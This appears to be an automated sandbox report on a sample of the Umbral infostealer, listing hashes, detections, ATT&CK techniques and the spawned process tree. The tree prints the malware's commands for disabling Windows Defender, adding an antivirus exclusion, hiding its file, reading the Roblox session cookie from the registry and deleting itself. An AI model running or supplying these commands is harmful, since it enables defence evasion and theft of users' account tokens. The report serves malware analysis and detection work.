umbral | d646794ea3c663854047a79206ef3dc27f16c01162248a95d8d52927c05f1889

Analysis

max time kernel
139s
max time network
267s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
09/02/2024, 13:22

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General

Target

guilded_ums.exe
Size

227KB
MD5

adbb1ff2093cd75f5d386ed3071f732a
SHA1

cbec205579e47cfab72873a13f3021b56c111b68
SHA256

d646794ea3c663854047a79206ef3dc27f16c01162248a95d8d52927c05f1889
SHA512

236f6fcda0a5808d63e34bb5c542196212d039bb739ed9c0902a0c899d01bfb47403561d6a9e69668e5e5055a42c46daf46910364d5a74be5c4cca2f84dd24ec
SSDEEP

6144:dloZMxNXg+dOntLnEPfdMXGkVW2U7X8gtoGnnG+Tb8e1mai:/oZxEOn0mGkVW2U7X8gtoGnnGEw

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral4/memory/4188-0-0x0000025EB3910000-0x0000025EB3950000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	guilded_ums.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
12	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3692	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4480	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3632	powershell.exe
3632	powershell.exe
1076	powershell.exe
1076	powershell.exe
968	powershell.exe
968	powershell.exe
3708	powershell.exe
3708	powershell.exe
4048	powershell.exe
4048	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4188	guilded_ums.exe
Token: SeDebugPrivilege	3632	powershell.exe
Token: SeDebugPrivilege	1076	powershell.exe
Token: SeDebugPrivilege	968	powershell.exe
Token: SeDebugPrivilege	3708	powershell.exe
Token: SeIncreaseQuotaPrivilege	468	wmic.exe
Token: SeSecurityPrivilege	468	wmic.exe
Token: SeTakeOwnershipPrivilege	468	wmic.exe
Token: SeLoadDriverPrivilege	468	wmic.exe
Token: SeSystemProfilePrivilege	468	wmic.exe
Token: SeSystemtimePrivilege	468	wmic.exe
Token: SeProfSingleProcessPrivilege	468	wmic.exe
Token: SeIncBasePriorityPrivilege	468	wmic.exe
Token: SeCreatePagefilePrivilege	468	wmic.exe
Token: SeBackupPrivilege	468	wmic.exe
Token: SeRestorePrivilege	468	wmic.exe
Token: SeShutdownPrivilege	468	wmic.exe
Token: SeDebugPrivilege	468	wmic.exe
Token: SeSystemEnvironmentPrivilege	468	wmic.exe
Token: SeRemoteShutdownPrivilege	468	wmic.exe
Token: SeUndockPrivilege	468	wmic.exe
Token: SeManageVolumePrivilege	468	wmic.exe
Token: 33	468	wmic.exe
Token: 34	468	wmic.exe
Token: 35	468	wmic.exe
Token: 36	468	wmic.exe
Token: SeIncreaseQuotaPrivilege	468	wmic.exe
Token: SeSecurityPrivilege	468	wmic.exe
Token: SeTakeOwnershipPrivilege	468	wmic.exe
Token: SeLoadDriverPrivilege	468	wmic.exe
Token: SeSystemProfilePrivilege	468	wmic.exe
Token: SeSystemtimePrivilege	468	wmic.exe
Token: SeProfSingleProcessPrivilege	468	wmic.exe
Token: SeIncBasePriorityPrivilege	468	wmic.exe
Token: SeCreatePagefilePrivilege	468	wmic.exe
Token: SeBackupPrivilege	468	wmic.exe
Token: SeRestorePrivilege	468	wmic.exe
Token: SeShutdownPrivilege	468	wmic.exe
Token: SeDebugPrivilege	468	wmic.exe
Token: SeSystemEnvironmentPrivilege	468	wmic.exe
Token: SeRemoteShutdownPrivilege	468	wmic.exe
Token: SeUndockPrivilege	468	wmic.exe
Token: SeManageVolumePrivilege	468	wmic.exe
Token: 33	468	wmic.exe
Token: 34	468	wmic.exe
Token: 35	468	wmic.exe
Token: 36	468	wmic.exe
Token: SeIncreaseQuotaPrivilege	4296	wmic.exe
Token: SeSecurityPrivilege	4296	wmic.exe
Token: SeTakeOwnershipPrivilege	4296	wmic.exe
Token: SeLoadDriverPrivilege	4296	wmic.exe
Token: SeSystemProfilePrivilege	4296	wmic.exe
Token: SeSystemtimePrivilege	4296	wmic.exe
Token: SeProfSingleProcessPrivilege	4296	wmic.exe
Token: SeIncBasePriorityPrivilege	4296	wmic.exe
Token: SeCreatePagefilePrivilege	4296	wmic.exe
Token: SeBackupPrivilege	4296	wmic.exe
Token: SeRestorePrivilege	4296	wmic.exe
Token: SeShutdownPrivilege	4296	wmic.exe
Token: SeDebugPrivilege	4296	wmic.exe
Token: SeSystemEnvironmentPrivilege	4296	wmic.exe
Token: SeRemoteShutdownPrivilege	4296	wmic.exe
Token: SeUndockPrivilege	4296	wmic.exe
Token: SeManageVolumePrivilege	4296	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4188 wrote to memory of 2436	4188	guilded_ums.exe	84
PID 4188 wrote to memory of 2436	4188	guilded_ums.exe	84
PID 4188 wrote to memory of 3632	4188	guilded_ums.exe	86
PID 4188 wrote to memory of 3632	4188	guilded_ums.exe	86
PID 4188 wrote to memory of 1076	4188	guilded_ums.exe	88
PID 4188 wrote to memory of 1076	4188	guilded_ums.exe	88
PID 4188 wrote to memory of 968	4188	guilded_ums.exe	90
PID 4188 wrote to memory of 968	4188	guilded_ums.exe	90
PID 4188 wrote to memory of 3708	4188	guilded_ums.exe	92
PID 4188 wrote to memory of 3708	4188	guilded_ums.exe	92
PID 4188 wrote to memory of 468	4188	guilded_ums.exe	95
PID 4188 wrote to memory of 468	4188	guilded_ums.exe	95
PID 4188 wrote to memory of 4296	4188	guilded_ums.exe	97
PID 4188 wrote to memory of 4296	4188	guilded_ums.exe	97
PID 4188 wrote to memory of 1448	4188	guilded_ums.exe	100
PID 4188 wrote to memory of 1448	4188	guilded_ums.exe	100
PID 4188 wrote to memory of 4048	4188	guilded_ums.exe	102
PID 4188 wrote to memory of 4048	4188	guilded_ums.exe	102
PID 4188 wrote to memory of 3692	4188	guilded_ums.exe	103
PID 4188 wrote to memory of 3692	4188	guilded_ums.exe	103
PID 4188 wrote to memory of 4392	4188	guilded_ums.exe	107
PID 4188 wrote to memory of 4392	4188	guilded_ums.exe	107
PID 4392 wrote to memory of 4480	4392	cmd.exe	109
PID 4392 wrote to memory of 4480	4392	cmd.exe	109

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2436	attrib.exe

C:\Users\Admin\AppData\Local\Temp\guilded_ums.exe
"C:\Users\Admin\AppData\Local\Temp\guilded_ums.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4188
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\guilded_ums.exe"
  2⤵
  - Views/modifies file attributes
  PID:2436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\guilded_ums.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3708
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:468
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4296
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4048
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3692
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\guilded_ums.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:4480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
09b6db14a0e6cbc14a233afe3089a6bd

SHA1
9f0194bcb40245d64807d987bfe7b4a7ef6b2150

SHA256
611f8bd0913de03684d1a2bde6ac78f9e3cbf693a784a5596bf2e93c9b4b7422

SHA512
6ee447723be7e920d094031ece45aa78f53d4691f4dbe40c43d7e3d4ec2bc02ab1bcb6fde3656d41e107a5718fd99c4313f544cbd4cf6d8404915a31d2ebf75e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
929c856a9f5f4fd187b9b324e39be583

SHA1
b5d74d5b632f2b0d892c0b763f7f9c36f8677fec

SHA256
67fc49d5d72ee25add82821193e326f1109d7b88189560492686a8f9d8b6c97e

SHA512
5746885b047af646bee26dc965c2fea100c395b2cc89a868af5d5858dd273497c3ea2f567c11439a84502cceea001a661352b8d0873c2cf09b1697c583fc61dd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_frayrpeh.c14.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/968-46-0x0000022240BB0000-0x0000022240BC0000-memory.dmp

Filesize
64KB

Download
memory/968-44-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/968-70-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/968-45-0x0000022240BB0000-0x0000022240BC0000-memory.dmp

Filesize
64KB

Download
memory/1076-38-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/1076-35-0x0000013522D40000-0x0000013522D50000-memory.dmp

Filesize
64KB

Download
memory/1076-27-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/1076-33-0x0000013522D40000-0x0000013522D50000-memory.dmp

Filesize
64KB

Download
memory/1076-34-0x0000013522D40000-0x0000013522D50000-memory.dmp

Filesize
64KB

Download
memory/3632-11-0x0000029DFF580000-0x0000029DFF590000-memory.dmp

Filesize
64KB

Download
memory/3632-20-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/3632-17-0x0000029DFF580000-0x0000029DFF590000-memory.dmp

Filesize
64KB

Download
memory/3632-16-0x0000029DFF580000-0x0000029DFF590000-memory.dmp

Filesize
64KB

Download
memory/3632-15-0x0000029DFF580000-0x0000029DFF590000-memory.dmp

Filesize
64KB

Download
memory/3632-4-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/3632-3-0x0000029DFF5C0000-0x0000029DFF5E2000-memory.dmp

Filesize
136KB

Download
memory/3708-84-0x0000026D5C2F0000-0x0000026D5C300000-memory.dmp

Filesize
64KB

Download
memory/3708-86-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/3708-72-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/3708-73-0x0000026D5C2F0000-0x0000026D5C300000-memory.dmp

Filesize
64KB

Download
memory/4048-106-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/4048-102-0x000002271E630000-0x000002271E640000-memory.dmp

Filesize
64KB

Download
memory/4048-103-0x000002271E630000-0x000002271E640000-memory.dmp

Filesize
64KB

Download
memory/4048-97-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/4188-71-0x0000025ECE190000-0x0000025ECE1A0000-memory.dmp

Filesize
64KB

Download
memory/4188-2-0x0000025ECE190000-0x0000025ECE1A0000-memory.dmp

Filesize
64KB

Download
memory/4188-0-0x0000025EB3910000-0x0000025EB3950000-memory.dmp

Filesize
256KB

Download
memory/4188-89-0x0000025ECE100000-0x0000025ECE112000-memory.dmp

Filesize
72KB

Download
memory/4188-88-0x0000025ECDFF0000-0x0000025ECDFFA000-memory.dmp

Filesize
40KB

Download
memory/4188-43-0x0000025ECDFB0000-0x0000025ECDFCE000-memory.dmp

Filesize
120KB

Download
memory/4188-37-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/4188-1-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download
memory/4188-41-0x0000025ECE030000-0x0000025ECE0A6000-memory.dmp

Filesize
472KB

Download
memory/4188-42-0x0000025ECE0B0000-0x0000025ECE100000-memory.dmp

Filesize
320KB

Download
memory/4188-111-0x00007FFEBD7C0000-0x00007FFEBE281000-memory.dmp

Filesize
10.8MB

Download